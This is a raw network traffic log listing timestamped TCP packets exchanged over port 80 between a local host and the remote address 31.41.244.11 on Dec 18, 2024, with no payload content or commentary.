Dec 18, 2024 15:22:13.289871931 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.289885998 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.289916992 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.290888071 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.290951014 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.290971041 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.291040897 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.291965008 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.292184114 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.292196035 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.292233944 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.293287039 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.293365955 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.293384075 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.293446064 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.294259071 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.294341087 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.294373989 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.294477940 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.295289993 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.295358896 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.295397043 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.295459032 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.296320915 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.296364069 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.296569109 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.296628952 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.297398090 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.297527075 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.297755003 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.298343897 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.298429012 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.298434973 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.298626900 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.299412012 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.299520969 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.299529076 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.299628019 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.300586939 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.300623894 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.300657988 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.300683022 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.301590919 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.301696062 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.301728964 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.301809072 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.302651882 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.302711010 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.302793980 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.302840948 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.303750992 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.303833008 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.303843021 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.303879023 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.304788113 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.304847002 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.304869890 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.304941893 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.305927038 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.305977106 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.305988073 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.306036949 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.307018042 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.307097912 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.307151079 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.307229042 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.308224916 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.308295012 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.308311939 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.308353901 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.309122086 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.309189081 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.309242010 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.309286118 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.310206890 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.310262918 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.310283899 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.310362101 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.311263084 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.311336994 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.311398983 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.311443090 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.312361956 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.312480927 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.312514067 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.312592983 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.313473940 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.313541889 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.313555956 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.313617945 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.314518929 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.314574003 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.314608097 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.314671040 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.315613031 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.315691948 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.315766096 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.315813065 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.317461014 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.317542076 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.318052053 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.318237066 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.319523096 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.319607973 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.319611073 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.319675922 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.320627928 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.320689917 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.320708990 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.320791006 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.321584940 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.321654081 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.321679115 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.321784019 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.322474003 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.322541952 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.322588921 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.322612047 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.323331118 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.323344946 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.323396921 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.324157000 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.324230909 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.324265957 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.324347019 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.325212955 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.325300932 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.325426102 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.326186895 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.326236010 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.326272964 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.326383114 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.327239990 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.327364922 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.327380896 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.327405930 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.328250885 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.328336954 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.328347921 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.328562021 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.329407930 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.329452991 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.329457045 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.329545021 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.330324888 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.330370903 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.330394983 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.330440998 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.331289053 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.331357956 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.331449986 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.331500053 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.332302094 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.332341909 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.332357883 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.332376957 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.333471060 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.333579063 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.334213018 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.334327936 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.335489988 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.335547924 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.335666895 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.335752964 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.336421967 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.336476088 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.336525917 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.336605072 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.337321997 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.337373972 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.337455988 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.337522030 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.338314056 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.338407993 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.473824024 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.473922014 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.473999023 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.474087000 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.474351883 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.474466085 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.474498987 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.474562883 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.476206064 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.476277113 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.476305008 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.476402044 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.478023052 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.478108883 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.478174925 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.478174925 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.479032993 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.479132891 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.479135990 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.479300022 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.480132103 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.480200052 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.480262995 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.480485916 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.481467009 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.481551886 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.481575012 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.481606007 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.482791901 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.482927084 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.482943058 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.482981920 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.483982086 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.484093904 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.484122992 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.484205961 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.485063076 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.485158920 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.485203028 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.485203028 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.486145020 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.486238956 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.486270905 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.486310005 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.487266064 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.487374067 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.487390995 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.487435102 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.488076925 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.488146067 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.488162041 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.488207102 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.489020109 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.489121914 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.489190102 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.489190102 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.489975929 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.490089893 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.490103960 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.490185976 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.491142988 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.491199970 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.491278887 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.491322041 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.492909908 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.492978096 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.493038893 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.493083000 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.493789911 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.493894100 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.493916035 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.493952036 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.494787931 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.494867086 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.494910955 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.494947910 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.495843887 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.495918036 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.495955944 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.496001005 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.496762037 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.496800900 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.496825933 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.496874094 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.497559071 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.497647047 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.497750044 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.497796059 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.498560905 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.498610973 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.498636961 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.498756886 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.499532938 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.499610901 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.499614954 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.499660969 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.500526905 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.500607967 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.500735044 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.500808001 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.501506090 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.501678944 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.501777887 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.502437115 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.502587080 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.502674103 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.503501892 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.503550053 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.503563881 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.503613949 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.504252911 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.504307985 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.504342079 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.504412889 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.505281925 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.505388975 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.505395889 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.505558014 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.506185055 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.506241083 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.506289959 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.506289959 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.507193089 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.507257938 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.507286072 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.507363081 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.507901907 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.507971048 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.508007050 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.508044958 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.508701086 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.508804083 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.508824110 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.508846998 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.509797096 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.509893894 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.509927988 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.510199070 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.510626078 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.510706902 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.510746956 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.510787010 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.511488914 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.511552095 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.511564016 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.511599064 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.512224913 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.512274981 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.512286901 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.512332916 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.513184071 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.513330936 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.513382912 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.513451099 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.515316963 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.515403986 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.515427113 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.515469074 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.516045094 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.516099930 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.516118050 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.516237020 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.516794920 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.516859055 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.516936064 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.516936064 CET	49910	80	192.168.2.5	31.41.244.11
